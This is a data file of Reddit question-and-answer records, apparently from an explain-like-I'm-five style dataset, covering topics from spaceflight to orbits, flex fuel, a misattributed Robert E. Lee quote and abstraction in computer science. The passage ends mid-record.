{"q_id": "e1gjtq", "title": "what happens if suddenly a ufo lands at the white house?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e1gjtq/eli5_what_happens_if_suddenly_a_ufo_lands_at_the/", "answers": {"a_id": ["f8ow7yc"], "score": [2], "text": ["Believe it or not, there\u2019s actually a protocol for that.  First thing is it will attempt to be intercepted prior to landing.  If that fails, the President and high level staff will be evacuated through one of a number of routes and an attempt will be made to destroy it on the ground.  If THAT fails, the next steps are something that\u2019s never been declassified."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4njylg", "title": "how to human babies survive on just formula for 6 months? why can't we make human formula that contains everything we'd need to live?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4njylg/eli5_how_to_human_babies_survive_on_just_formula/", "answers": {"a_id": ["d44jm11", "d44k268", "d44mj4g", "d44u36l"], "score": [23, 9, 3, 5], "text": ["[We can](_URL_0_). It's just an awfully boring way to live since most of us actually like to enjoy our food as well as just fuel up from it.", "People have different nutritional needs so a one-size-fits-all meal replacement goo wouldn't work for everybody. If you work out and sweat a lot, you'll need more protein to rebuild muscle and sodium and potassium to replace what you lose through sweat for example.\n\nMeal replacements are useful in certain situations like sending aid to places experiencing famine or disasters but like /u/The_Dead_See said, why would we choose to subsist on an all-liquid nutritional paste diet when good food is one of the greatest pleasures in the world?", "We do, it's called nutraloaf. It's terrible. It's sometimes used in correctional settings. Essentially you take a full meal, puree it, and bake it. ", "A friend showed this to me. _URL_0_\n\nYep, soylent feeds people. Liquid nutrition. \n\nNo desire what so ever to try this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://huel.com/"], [], [], ["https://www.soylent.com/"]]}
{"q_id": "8cpb9c", "title": "Why is neutron degeneracy pressure \"stronger\" than electron degeneracy pressure?", "selftext": "A white dwarf collapses into a neutron star when its mass overwhelms electron degeneracy pressure, and its mass gets compressed into neutrons.  \n\nA neutron star collapses into a black hole when its mass overwhelms neutron degeneracy pressure, and its mass gets compressed into (???).\n\nBut the neutron star collapse clearly happens at a higher mass than a white dwarf collapse.  This would seem to imply that neutron degeneracy can support greater pressure than electron degeneracy.  Why is that, given that they are both (in my understanding) governed by the same Pauli exclusion principle?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8cpb9c/why_is_neutron_degeneracy_pressure_stronger_than/", "answers": {"a_id": ["dxgz9gg"], "score": [15], "text": ["There are two effects at play here. The first effect, as you pointed out, is electron/neutron degeneracy pressure. Neutron degeneracy pressure is actually \"stronger\" than electron degeneracy pressure because neutrons are more massive and have shorter wavelengths (and hence more closely space energy levels) than electrons. Fundamentally, they are the same principle, but there is a 1/mass term in the spacing of the energy levels that causes neutron degeneracy allow for much closer packing than electron degeneracy.\n\nThe other effect is [electron capture](_URL_1_). Under very high pressures, it becomes energetically favorable for protons and electrons to fuse into neutrons, releasing an electron neutrino in the process. So a critical pressure, corresponding to the pressure of the [Chandrasekhar mass](_URL_0_), is a local energy minimum. This is why electron degeneracy pressure has a lower \"pressure ceiling\" than neutron degeneracy pressure, and why white dwarves can collapse at lower pressures than neutron stars. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Chandrasekhar_limit", "https://en.wikipedia.org/wiki/Electron_capture"]]}
{"q_id": "26pvdv", "title": "In 1962 Th\u00edch Qu\u1ea3ng \u0110\u1ee9c immolated himself in order to protest Buddhist oppression by a Catholic Minority in Vietnam. Where did the religious conflict in Vietnam stem from and what were conditions for Buddhists like?", "selftext": "I'm interested in what drove people such as Th\u00edch Qu\u1ea3ng \u0110\u1ee9c to such extreme measures as to immolate themselves? What is the origin of the catholic ruling minority? My first thought is French but hopefully someone can clarify in more detail.\n\nEdit: and there's a typo in the title, meant to be 1963.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26pvdv/in_1962_th\u00edch_qu\u1ea3ng_\u0111\u1ee9c_immolated_himself_in/", "answers": {"a_id": ["chu2mj3"], "score": [2], "text": ["EDIT: I feel I should make clear that while my area of expertise is the Vietnam War, I do not command expert-level knowledge on Buddhism. Therefore, while I can explain the events leading up to Thich Quang Duc's self immolation, I am unable to explain the roots of that practice in detail. \n\nCatholicism in Vietnam indeed stems from French influence. French missionaries began traveling to Vietnam in the 1600s. The Vietnamese monarchy generally saw Catholicism as a potential threat, and so religious persecution was high for many years. This persecution was one of the main justification France used to begin annexing Vietnam. The ruling Catholic minority in 1963 was Ngo Dinh Diem's government. French colonial rule in Vietnam ended in 1954 when the Viet Minh, an anti colonial group spearheaded by the Indochinese Communist Party, defeated France in the First Indochina War. The US had supported France against the Communist forces throughout much of this conflict. After France's defeat, the US established its own presence in South Vietnam, which was a creation of the peace agreements that ended the war. Under this treaty Vietnam was partitioned in two - the Communists got the North and all other non-Communist groups got the South. Diem was a staunch Catholic as well as Vietnamese patriot who had never collaborated with the French. As such, the Americans considered him untainted - almost everyone else they could have put in power had collaborated in some way, and they didn't want the South Vietnamese government to be associated with colonialism. His Catholicism came into play because some policy makers thought Catholics more trustworthy and anti communist than Buddhists. Buddhism tends to stress neutrality and pacifism, while the Catholic Church had been strongly anti communist for decades. \n\nAfter being elevated to the office of Prime Minister of the State of Vietnam (South Vietnam's official name in 1954) Diem promptly organized a rigged election in which he transformed the State of Vietnam into the Republic of Vietnam, with him as President. In the process he kicked out the last official emperor of Vietnam, Bao Dai. Once in power Diem stacked government positions with his family members and refugee Catholics from the North. He also cracked down on all rival groups, in some cases having popular political or religious figures executed or exiled. All of this created an environment in which many Buddhist monks felt discriminated against. It came to a head in mid 1963, when several monks in the central Vietnamese city of Hue asked permission to fly the Buddhist flag on Buddha's birthday. Under RVN law, only official government flags could be flown outside. This law did not stop Catholic churches from flying the Vatican flag, so the monks did not foresee any problems. But Diem's government denied this request. In response, the monks organized a protest, at which a bomb exploded and killed several people. Diem blamed the incident on the Communists, but the Buddhists blamed his government, and immediately began organizing wider protests against his autocratic policies. Vietnamese Buddhist monks had long practiced self immolation as a means of honoring Buddha, and when Thich Quang Duc did so, he was surrounded by Western reporters, which caused the crisis to become international news. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ci630", "title": "why it is harder to go towards the sun than towards pluto?", "selftext": "I've seen this [video](_URL_0_) today and there they say it is harder to go to the Sun than to go to Pluto. I'm wondering why this is true, why it's easier to go in the opposite direction of the Sun's gravity?\n\nObs: that's my first question on this subreddit! Thank you all so much for your time!\n\nEdit: I think I've understood it, and I'm definitely going to finally play Kerbal Space Program. Thank you all!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ci630/eli5_why_it_is_harder_to_go_towards_the_sun_than/", "answers": {"a_id": ["e5ax5qy", "e5axphq", "e5b1kq9", "e5b6hv8", "e5b6s6b", "e5baf4f", "e7kh6g1"], "score": [303, 4, 22, 2, 7, 3, 2], "text": ["Any spacecraft launched from Earth is moving along with the Earth in it's direction of motion at considerable speed, 67,000 mph (107,000 kph). In order to reach the outer solar system, a spacecraft only needs to add a little bit to this speed, even less if you want to use gravity assists from the outer planets. To get close to the sun however, a spacecraft has to cancel out almost *all* of the speed it has from moving with the Earth, meaning it has to cancel out almost all of that 67,000mph velocity around the sun so the sun's gravity can pull it in.", "Think of those funnel things they have you drop a coin in and imagine a little powered coin size-car.  It's going to be easier to move around and can be done more precisely near the top of the funnel.  Near the bottom, it takes a lot of energy to get it back up and a little mistake means it burns.", "In space everything comes down to changes in velocity.\n\nOn earth we might be making distinctions between speeding up and breaking to slow down, but in space there isn't really an difference between those concepts other than direction.\n\nThe second thing is obits.\n\nYou can't just point your spaceship in some direction and accelerate in that direction and expect to actually go there. Orbital mechanics are weird that way and usually end up going in a completely different direction that the one you are aiming at.\n\nTo simplify it: to get outward you have to speed up  and to get inward you have to slow down.\n\nThis is true for spaceships wanting to go from earth to earth orbit and back but also for spaceships wanting to go from earth's position in the solar system either outward or inward.\n\nWith earth we have the atmosphere that helps slow things down when coming home (at the cost of heating things up), with the sun we don't have anything like that.\n\nIf we want to go to the sun without any tricks we have to get rid of all the velocity we have thanks to the earth orbiting the sun once a year. (it is a lot)\n\nIf we want to go to Pluto we have to add speed instead.\n\nSince we aren't stupid we do some tricks that help us such as using the gravity of other planets to help us along (slingshot maneuver).\n\nWith the sun we have the problem of lots of velocity to get rid of and not really much to help us a long the way. (The big heavy planets are all out in the other direction).", "Okay so Earth is moving at a speed. For simplicity's sake, we will say 20 'speed'. To get to Pluto, you need 35 speed, but already start at 20. Earth is helping your speed just by moving around the Sun.\n\nTo get to the Sun, you need to lose all 20 of your speed. Thus, 15 to Pluto, -20 to the Sun ", "Imagine you were in a moving train and you want to hit somebody with a water balloon. If you throw the water balloon straight at them it will miss because you and the balloon are moving. To fix that, you have to throw the balloon so that the total velocity is directly at your target. This is a simple example that doesn't include acceleration. \n\nYour intuition is correct in some regards, it could easier to go towards the sun, because of the force of gravity. The problem though is actually getting to the sun. ", "Read this article: _URL_0_\n\nIt depends on how far you need to go towards the SUN of course, but lets assume you want to crash into it, then you need to cancel the orbital speed of the earth around the SUN(without any gravity assists), which is avarage 29,78 km/second. \n\nIf you want to reach Pluto you need (Again: no gravity assists) to gain velocity first to raise your orbit and then when you are at the orbit of Pluto, you need to add enough speed to circalize your orbit (catch Pluto basically), total speed to be added (Both manouvres)  about 11km/second.\n\n", " Let\u2019s start with the problem of launching a space probe out of the solar system. Earth moves around the Sun at about **30 km/s (67,000 mph)**. In order to *just* leave the solar system, a space probe in Earth\u2019s orbit must accelerate to about **42 km/s (94,000 mph)** relative to the Sun. That\u2019s a difference of about **12 km/s (27,000 mph)**.\n\nWait: It\u2019s more complicated than that. You can\u2019t just launch a probe from Earth\u2019s surface at **12 km/s** and expect it to leave the solar system. You see, Earth\u2019s gravity will slow the probe down as it moves away, so the probe\u2019s Sun-relative velocity won\u2019t be fast enough to escape by the time the probe moves out of Earth\u2019s sphere of influence. In order to have enough leftover velocity to escape from the Sun, a probe has to leave Earth\u2019s surface (really, it\u2019s atmosphere) at something like **16.4 km/s (36,700 mph)** relative to Earth.\n\n(To be fair, you *can* get gravitational assists from Jupiter and the other gas giants if you\u2019re sending a probe out of the solar system, so you can get away with leaving Earth at a lower velocity than **16.4 km/s**. I\u2019m just telling you how fast you\u2019d have to depart from Earth in order to escape the solar system with no further assistance.)\n\nWhen your probe is going to the Sun, it has to cancel out nearly all of the orbital motion it inherited from Earth. In order to have the probe drop straight down towards the Sun on a one-way collision course, the probe would have to leave Earth\u2019s sphere of influence at a relative velocity of **30 km/s**. But remember, Earth\u2019s gravity will try to pull the probe along with it, so in reality you\u2019d have to depart from Earth at a relative velocity of about **31.6 km/s (70,700 mph)**. That\u2019s nearly **twice as fast**as the probe would have to go in order to escape from the Sun.\n\nBut maybe you don\u2019t want your probe to drop straight into the Sun. Maybe you\u2019re thinking of something like the Parker Solar Probe, which is going to swing down very close to the Sun. On its first pass in November, 2018, the probe will reach a minimum altitude of about 25 million kilometers (15.5 million miles or about 0.17 AU). In order to launch a probe into an orbit around the Sun whose perihelion is 25 million kilometers, you need to depart with an Earth-relative velocity of **17.6 km/s (39,400 mph)**. That\u2019s considerably less than the start-up velocity you\u2019d need for a suicide Sun-dive, but still more than **1 km/s (2200 mph)** faster than you\u2019d need to launch a probe out of the solar system."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=OdPoVi_h0r0"], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Hohmann_transfer_orbit"], []]}
{"q_id": "48vykd", "title": "can anybody tell me more about the \"flex fuel\" some of the motors are equipped with?", "selftext": "I am in the market for a late model car.  Some of the cars I am looking at come equipped with something called \"Flex Fuel\".\n\nThe best info I have been able to gather so far has been about the motor accepting standard fuel as well as Ethanol fuel.\nIs this something I want to avoid? Are there any advantages to Flex Fuel? Any input would be extremely helpful.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48vykd/eli5can_anybody_tell_me_more_about_the_flex_fuel/", "answers": {"a_id": ["d0n0vu4", "d0n0xbg", "d0n132o", "d0n17vq", "d0n1rxi", "d0n4pf2", "d0n5lzl", "d0ng6r0"], "score": [2, 8, 3, 5, 3, 9, 3, 2], "text": ["It just means that those vehicles can be run on e85 or regular gas. I could be wrong but I believe most cars above a certain year are required to be flex fuel so no need to worry about it.", "The engines designed to use this fuel use different materials for parts that would readily degrade in the presence of the high percentage of ethanol. These engines will run just fine on regular gas and any combination of it and e85 (fuel made up of 85% ethanol and 15% gasoline) that you put in the tank. Unless you live somewhere where e85 fuel is commonly available, this feature is a waste of money.", "E85 has benefit of being cheaper per gallon.   It also has the detriment of less mpg per gallon.    It's a complete wash as far as $ per mile is concerned.    Flex fuel is complete waste of money.\n\nOnly place where e85 makes awesome sense is cheap race fuel for turbocharged cars.", "On top of what /u/stufmenatooba said E85 only gets about 90% the efficiency of regular gasoline. E-85 tends to be cheaper though. But if gas costs 1.50 USD/gallon where you live then it wouldn't be worth it to fill up with E85 unless it was 1.35 USD or less per gallon.", "if a gas station near you sells ethanol blends of E-20 or higher up to E-85 then that vehichle can use those fuels, here in the upper midwest we have many stations that sell ethanol fuels. E-85 is typically a dollar less than regular unleaded, but if you don't have blender pumps that sell ethanol its probably not worth it", "Everybody missed the HUGE part where ethanol pollutes way less than gasoline. While e85 might be less efficient (usually the price needs to be around 30% cheaper to allow the same mileage), it is often sold as a green alternative.\n\nSome countries push ethanol (and thus flex vehicles) because they have a large installed ethanol production base and will often offer some degree of subsidies for that fuel to match the 30% less efficiency. It is also a way some countries tried to reduce dependency on petrol price fluctuations decades ago.\n\nDeveloped countries, with no petrol price issues or no subsides/installed ethanol production, might still push for flex engines to give people who want to go \"greener\" an alternative.", "All cars manufactured after 1995 can handle up to 10% ethanol mixed in with the gasoline.\n\nFlex-Fuel just means the car can handle E85 fuel which is 85% ethanol.  It's cheaper, and supposedly \"greener.\"\n\nPersonally, I think ethanol sucks, and it's not nearly as \"green\" as everyone thinks.  Sure, it comes from corn, but growing, harvesting and distilling corn mash into ethanol is a very resource-intensive process (hence all the government subsidies).  In terms of energy output, it's only about 70% as efficient as gasoline.\n\nEthanol is incompatible with our existing gasoline/oil pipeline infrastructure, which means it has to be trucked or carried by train everywhere.  This increases the distribution cost and results in more pollution.\n\nEthanol as fuel has been around for decades now.  If it were truly cost-effective and better for the environment, we'd already be using it everywhere.  ", "Ethanol is very hard on many compounds often used in fuel lines and injectors. A \"Flex Fuel\" vehicle will have either fuel tanks and lines that have a plastic liner, or all stainless steel parts. High amounts of ethanol in fuel will corrode metal fuel parts or 'melt' rubber parts in engines no designed for this use. The engine itself doesn't particularly care what it's burning. In the US, I haven't seen ethanol cheap enough that it's really a viable alternative, but it doesn't hurt anything to have a flex fuel vehicle.\n\nI lived in Brazil for about six months in the 80s. At that time, they had pumps with regular gasoline, ethanol, or a mix. Most vehicles there could work with either. You could choose to pay more for gasoline and get better mileage/range, or go cheaper and buy pure ethanol. Brazil uses (used?) switchgrass for ethanol production, so its climate may have something to do with why ethanol might be a better choice for them than corn-produced US ethanol. From what I can read many flex fuel vehicles in the US are GM's, and part of the reason is wanting commonality with international ethanol needs (see GM Do Brazil)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "aqkyxm", "title": "absence of evidence is not evidence of absence", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aqkyxm/eli5_absence_of_evidence_is_not_evidence_of/", "answers": {"a_id": ["eggo6kh", "eggo8id", "eggo9p6", "eggojp3", "eggud5j", "egguip1", "eggvr9e", "eggyc6s", "egh4dbd"], "score": [117, 19, 5, 3, 13, 9, 4, 11, 3], "text": ["\"I have never seen an ostrich outside of a zoo. Therefore, there are no such things as wild ostriches.\"\n\nThe phrase you quoted is meant to say that you can't deny something exists based on incomplete information. ", "Just because you can\u2019t prove something, doesn\u2019t mean it\u2019s not true. It *could* still be true, all we really *know* is that we can\u2019t prove it.\n\nA famous example is the existence of god. Is there anything that proves for sure that the universe was created by some greater power? No, as far as we know the universe, planet, life, etc can be explained by forces of nature without some deity causing things to be this way. But does this show for certain that there is *no* god? No, there *could* be, and things could look exactly the same.\n\nAnother example\u2014 somebody is accused of murder. They claim to have been in a neighboring town when it happened, and wouldn\u2019t have been able to kill the victim because of that.\n\nNow, there aren\u2019t any credit card transactions, security footage, cell phone records, etc that reveal whether *or not* they were at the location of the murder. What this *does* mean is under the laws of most countries, more evidence will be needed to convict that person. However, this doesn\u2019t prove their innocence. If their gun was proven to be the one used in the murder, etc, they can\u2019t get out of it by saying \u201cyou can\u2019t convict me of the murder because you can\u2019t prove where I was!\u201d\n\nThat\u2019s true, but not knowing where they were (lack of evidence) does not overrule other hard evidence that they were responsible. ", "There are no dragons.\n\nI can argue that dragons never existed because we never found proof that they did (evidence of absence). However, you can also argue that just because we never found proof doesn't mean that that proof doesn't exist, we simply didn't find it yet (absence of evidence)\n\nAs you can imagine, this can be slippery slope", "You kind of hit the nail on the head in the title. \n\nEvidence is something. No evidence is... no evidence. The distinction lies in the word \"no\" which infers that the thing is not. \n\nIf evidence for proof cannot be found, it simply means that supporting a claim to prove something is true is not going to be strong or sound. However, it does NOTHING to prove a claim is false. It simply lacks support, but it was not proven incorrect. \n\nOn the other hand, if you want to prove something doesn't exist, then you have to find evidence that something doesn't exist. However, if something doesn't exist, it can't leave evidence, and you can't support the claim. That's why it's impossible to PROVE something doesn't exist. Inability to find proof does not equal proof. ", "We have been uncovering the history of life on Earth for several hundred years now, and only in the last 100 have we really began systematically studying fossils and building the tree of life to understand how different organisms evolved from common ancestors. Because much of this information is obtained from fossils, the types of  organisms we can study must necessarily be ones that can be fossilized. \n\nFor instance when a fish dies, it doesn't always sink to the  floor and become preserved. And even when it does, it has hard bones that can become fossilized. What if a creature doesn't have bones though? Or what if it is so fragile that it cannot be preserved after death. It wouldn't leave much fossil evidence for it's existence. \n\nSo you could argue that just because there isn't fossil evidence that there used to be a blimp sized jellyfish species, doesn't mean we can say 100% that such a thing never lived. ", "Absence of evidence is not evidence of absence nor is it is proof of existence.\n\n & #x200B;\n\nRemember the last part, because that is where the \"arguments from ignorance\" come from. It is always the role of the person making the positive assertion to cite evidence of their claim and not the reverse. (ie. I don't have any obligation to prove that you are wrong, you have the obligation to prove that you're right.)\n\nEDIT: don't do this to children.", "There's a flip side though: absence of evidence where we would expect to find it does constitute evidence of absence.\n\nI hypothesize that there's a dragon in this cave. I look and don't see any evidence of one (no scales on the ground, scratch marks on the walls, burnt ashes, the bones of it's victims, dragon eggs, etc.). Since, if there was a dragon in this cave, I'd expect to see something when I looked, absence of evidence does imply that there's no dragon.", "Dad: \"Son, go get my wallet from my office\"\n\n\\*Son goes and looks, comes back\\*\n\nSon: \"Your wallet is not in your office\"\n\n\\*Dad goes and looks, finds it, comes back\\*\n\nDad: \"Just because you looked and didn't find it, doesn't mean it wasn't there\"", "\\-Hey, scientist, here's some money. Now, go study whatever you think is important.\n\n\\-Thanks for the money. We are going to study planets.\n\n\\-That sounds great. What about the moon?\n\n\\-We have enough data on the moon already.\n\n\\-OK. Sounds like we have got the solar system covered.\n\n\\-Well, there happens to be objects in the solar system that are not big enough to be classified as planets.\n\n\\-There's something more?\n\n\\-Yes. There are 44 000 so called centaurs, which are at least 1 km in diameter.\n\n\\-That's funny. I never heard of them.\n\n\\-So before you heard of them, were they absent?\n\n\\-You mean, when I didn't have the evidence?\n\n\\-Yes.\n\n\\-No. I guess I must have missed them. \"Absence of evidence is not evidence of absence.\"\n\n\\-Precisely. Just because scientists prefer to study some things over others, doesn't mean that the other things don't exist. This applies not only to objects, but to any phenomena."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "29mv23", "title": "Were there any civilizations in the medieval period that actually lived inside of swamps?", "selftext": "I was re-reading Game of Thrones, and the Reed family fostered my curiosity.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29mv23/were_there_any_civilizations_in_the_medieval/", "answers": {"a_id": ["cimm42a"], "score": [5], "text": ["Venice would be your major example! \n\nIt was build on a malarial swamp in the late classical and early medieval era and is still to this day still built on a lagoon. Which is why it is sinking...\n\nMartin, John Jeffries, and Dennis Romano, eds. Venice Reconsidered: The History and Civilization of an Italian City-State, 1297\u20131797. JHU Press, 2002."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6w6d8v", "title": "Did Robert E. Lee ever say, about the Civil War, that he wished he owned every slave so that he could free them and avoid war?", "selftext": "I've seen the following quote floating around Reddit and the internet recently, and I was wondering if I could get some historical verification or context on it. \n\n\"There is a terrible war coming, and these young men who have never seen war cannot wait for it to happen, but I tell you, I wish that I owned every slave in the South, for I would free them all to avoid this war.\"\n\nI can't find a primary source for this quote, and I'm pretty skeptical that Lee would say this, given his racially tinged views. If any could give any insight into the origins of this quote, either real or fake, it'd be much appreciated!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6w6d8v/did_robert_e_lee_ever_say_about_the_civil_war/", "answers": {"a_id": ["dm6d6du"], "score": [202], "text": ["No, Robert E. Lee never said this. This is a mis-quote from an \"interview\" that a reverend named John Leyburn claimed to have had with Robert E. Lee in 1869, several years after the war was over, and a year before Lee's death. \n\nJohn Leyburn had been born in Lexington, Virginia, and was a Presbyterian pastor. At the outbreak of the Civil War, [Leyburn left his church](_URL_9_) and joined the South. He became Secretary of the Board of Publication for the newly-founded Southern Presbyterian Church, since the Presbyterian Church of the United States of America had become officially pro-abolitionist. (The two churches continue to be separate today.) After the war, Leyburn resettled in Baltimore, where he claimed to interview Lee. \n\nAn article by Leyburn was printed in 1885 in *Century Illustrated* magazine, so the quote itself is second-hand knowledge many years after the fact. Leyburn claimed to have asked if Lee had fought the war over the issue of slavery, and he said that Lee denied it. [Leyburn claimed](_URL_0_) that Robert E. Lee told him:\n\n >  \"So far,\" said General Lee, \"from engaging in a war to perpetuate slavery, I am rejoiced that slavery is abolished. I believe it will be greatly for the interests of the South. So fully am I satisified of this, as regards Virginia especially, that I would cheerfully have lost all I have lost by the war, and suffered all I have suffered, to have this objective obtained.\" This he said with much earnestness.\n > \n >  After expressing himself on this point, as well as others in which he felt that Northern writers were greatly misrepresenting the South, he looked at me and, with emphasis, said:\n > \n >  \"Doctor, I think some of you gentlemen that use the pen should see that justice is done us.\"\n\nSo it would seem that this was in part an effort by Lee to resurrect his reputation after the fact. Or, it never happened, and it's something that Leyburn made up himself in order to resurrect Lee's reputation and promote Southern apologist sentiment.\n\nThere is a *bit* of truth to this view of Lee, however. In 1856, several years before the war, Robert E. Lee [wrote a letter to his wife](_URL_3_\") that explained some of his feelings on the subject of slavery, and this letter is used by most biographers as the cornerstone of Lee's personal views on slavery ([1](_URL_2_ & pg=PA173), [2](_URL_1_), [3](_URL_5_)):\n\n >  \"There are few, I believe, in this enlightened age, who will not acknowledge that slavery as an institution is a moral and political evil. It is idle to expatiate on its disadvantages. I think it is a greater evil to the white than to the colored race. While my feelings are strongly enlisted in behalf of the latter, my sympathies are more deeply engaged for the former. The blacks are immeasurably better off here than in Africa, morally, physically, and socially. The painful discipline they are undergoing is necessary for their further instruction as a race, and will prepare them, I hope, for better things. How long their servitude may be necessary is known and ordered by a merciful Providence. \n > \n > Their emancipation will sooner result from the mild and melting influences of Christianity than from the storm and tempest of fiery controversy. This influence, though slow, is sure. The doctrines and miracles of our Saviour have required nearly two thousand years to convert but a small portion of the human race, and even among Christian nations what gross errors still exist! While we see the course of the final abolition of human slavery is still onward, and give it the aid of our prayers, let us leave the progress as well as the results in the hands of Him who, chooses to work by slow influences, and with whom a thousand years are but as a single day.\"\n\nIn other words, though Robert E. Lee felt slavery was a \"moral and political evil\", he also felt it best to leave it in the hands of God to decide, and that slavery would end, eventually, on its own accord, even if that meant a thousand years hence. His letter goes on to say that the abolitionists should know that the way to end slavery is not to \"excite angry feelings in the master\" and that this would only make things worse. Lee's was not an unusual \"moderate\" point of view on slavery in the South in the 1850s.\n\nYet, even though Robert E. Lee may have felt slavery was morally and politically evil, he was not against perpetuating the institution himself. In 1856, his father-in-law, George W. P. Custis, died, and on his death bed, it was reported that he told a group of his slaves that he wanted them emancipated upon his death. But no white person was in the room, and Custis's will stated that they should be freed five years after he died.\n\nThis story reached the Washington D.C. correpsondent of the *Boston Traveller* newspaper, who printed an article about it on December 24, 1857, with the further claim that there were plans to sell some of the slaves down South before the emancipation date came. \n\n[Robert E. Lee responded](_URL_6_) by writing to the *New York Times* on January 8, 1858, denying that Custis had ever said such a thing, that the slaves would be free in five years' time according to the will, and that he had no plans to sell them \"on South\":\n\n >  \"What Mr. Custis is said to have stated to the Washington correspondent of the *Boston Traveller*, or to his assembled slaves, on his death bed is not known to any member of his family. But it is well known that during the brief days of his last illness, he was constantly attended by his daughter, grand-daughter, and niece, and faithfully visited by his physician and pastor. So rapid was the progress of his disease, after its symptoms became alarming, that there was no assembly of his servants, and he took leave of but one, who was present when he bade farewell to his family.\"\n\nWas the *Boston Traveller* passing along false information or was Robert E. Lee telling the truth? It couldn't be proven in a court of law because \"the testimony of negroes will not be taken in Court.\" So it wasn't until 1866 that the testimony of any of Custis's slaves was ever taken, and a former slave named Wesley Norris [refuted Lee's version of events](_URL_8_).\n\nThis had led Norris and several other slaves to try to escape in 1859, but they were caught:\n\n >  \"We were tied firmly to posts by a Mr. Gwin, our overseer, who was ordered by Gen. Lee to strip us to the waist and give us fifty lashes each, excepting my sister, who received but twenty.\"\n\nSo although Robert E. Lee professed a hatred for slavery before the war, and denied he engaged in the war over the issue of slavery after the war, he nonetheless was willing to participate and help preserve the institution both before and during the war. Though he freed some of his slaves before the war, he did not free the last of them [until the war was over](_URL_12_).\n\nLee's views on slavery have continued to be debated by biographers and historians. A century ago, the assessment by pro-Union authors was not kind. In a book about abolitionist John Brown, historian Franklin Benjamin Sanborn [wrote](_URL_11_) of Lee's \"lost cause\" fight for slavery and printed the alleged Leyburn quote. He followed it with his own assessment of it:\n\n >  \"I print this in justice to a brave soldier; but his warfare was as much in defence of slavery as Hector's in defence of Helen, though the great Trojan did not approve of Paris as against Menelaus.\"\n\nMore recently, in discussing Lee's alleged Leyburn quote, historian Charles P. Roland [put it](_URL_15_):\n\n >  If he actually made this statement, he doubtless exaggerated what he would have been willing to do in order to eliminate slavery, but there is compelling evidence that he was sincere in saying he was happy about its elimination (though not over the manner in which this occurred), and that he had not fought in order to preserve it.\n\nEric Foner, Civil War historian and professor at Columbia, [put it succinctly](_URL_10_) by saying, \"[Lee] was not a pro-slavery ideologue. But I think equally important is that, unlike some white southerners, he never spoke out against slavery.\"\n\n\n**Further Reading**:\n\n[Robert E. Lee and the Southern Confederacy, 1807-1870](_URL_3_\") by Henry Alexander White, 1912\n\n[Lee Considered: General Robert E. Lee and Civil War History](_URL_4_) by Alan T. Nolan, 1996\n\n[Robert E. Lee: A Biography](_URL_2_) by Emory M. Thomas, 1997\n\n[The Making of Robert E. Lee](_URL_7_) by Michael Fellman, 2003\n\n[Reading the Man: A Portrait of Robert E. Lee Through His Private Letters](_URL_13_) by Elizabeth Brown Pryor and Robert E. Lee, 2007"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=IFciAQAAIAAJ&pg=PA166&dq=interview#v=onepage&q=interview&f=false", "https://books.google.com/books?id=PSU1xWLfk7wC&pg=PA58", "https://books.google.com/books?id=jJWR80JZ_hsC", "https://books.google.com/books?id=FNAKAQAAIAAJ&pg=PA50&dq=\"in+this+enlightened+age", "https://books.google.com/books?id=5hRPSxubEuwC", "https://books.google.com/books?id=zuCf--V8TxIC&pg=PA83", "https://static01.nyt.com/images/2017/08/19/us/19xp-letter1/19xp-letter1-superJumbo.jpg", "https://books.google.com/books?id=x7OOraQWi5wC", "http://fair-use.org/wesley-norris/testimony-of-wesley-norris", "https://books.google.com/books?id=ark0AQAAMAAJ&pg=PA583&lpg=PA583&q=%22john%20leyburn%22&f=false", "https://www.nytimes.com/2017/08/18/us/robert-e-lee-slaves.html?mcubz=1", "https://books.google.com/books?id=gM1EAAAAIAAJ&pg=PA560&lpg=PA560&dq=jonh+leyburn", "https://books.google.com/books?id=ap22LDjWtwkC&pg=PA76", "https://books.google.com/books?id=8oLT37IFiIQC", "https://books.google.com/books?id=jJWR80JZ_hsC&pg=PA173", "https://books.google.com/books?id=9-i5reANPacC&lpg=PA17"]]}
{"q_id": "513vqe", "title": "what is abstraction in computer science?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/513vqe/eli5_what_is_abstraction_in_computer_science/", "answers": {"a_id": ["d792xa6", "d79cz34"], "score": [11, 4], "text": ["Computers do lots of really complex things, right?  In order to make them simple for people to understand and work with, we provide *abstractions* of them.\n\nLet's say we want to have a linked list of numbers.  You could, every time you want to add an element to that list, allocate the memory, put the value in your new data structure, find the end of the list and then update that to point at your new element.  You could, every time you want to access the *N*th item, loop through all the elements of that list until you've gone through *N* and then use that value.\n\nThis is not only a lot of typing, it's error prone  &  all that duplication makes it hard to modify your code if, for example, you wanted to replace your linked list with a more efficient skip list or something.  What do you do?\n\nYou write some functions that give you an `add_element()` function and a `get_nth_element()` function.  You can use these when working on a list *without caring how it works under the hood*.  This leaves you free to use linked lists without massive code duplication, easily fix bugs or even change how it's implemented.\n\nProviding that interface over a complex underlying implementation is an 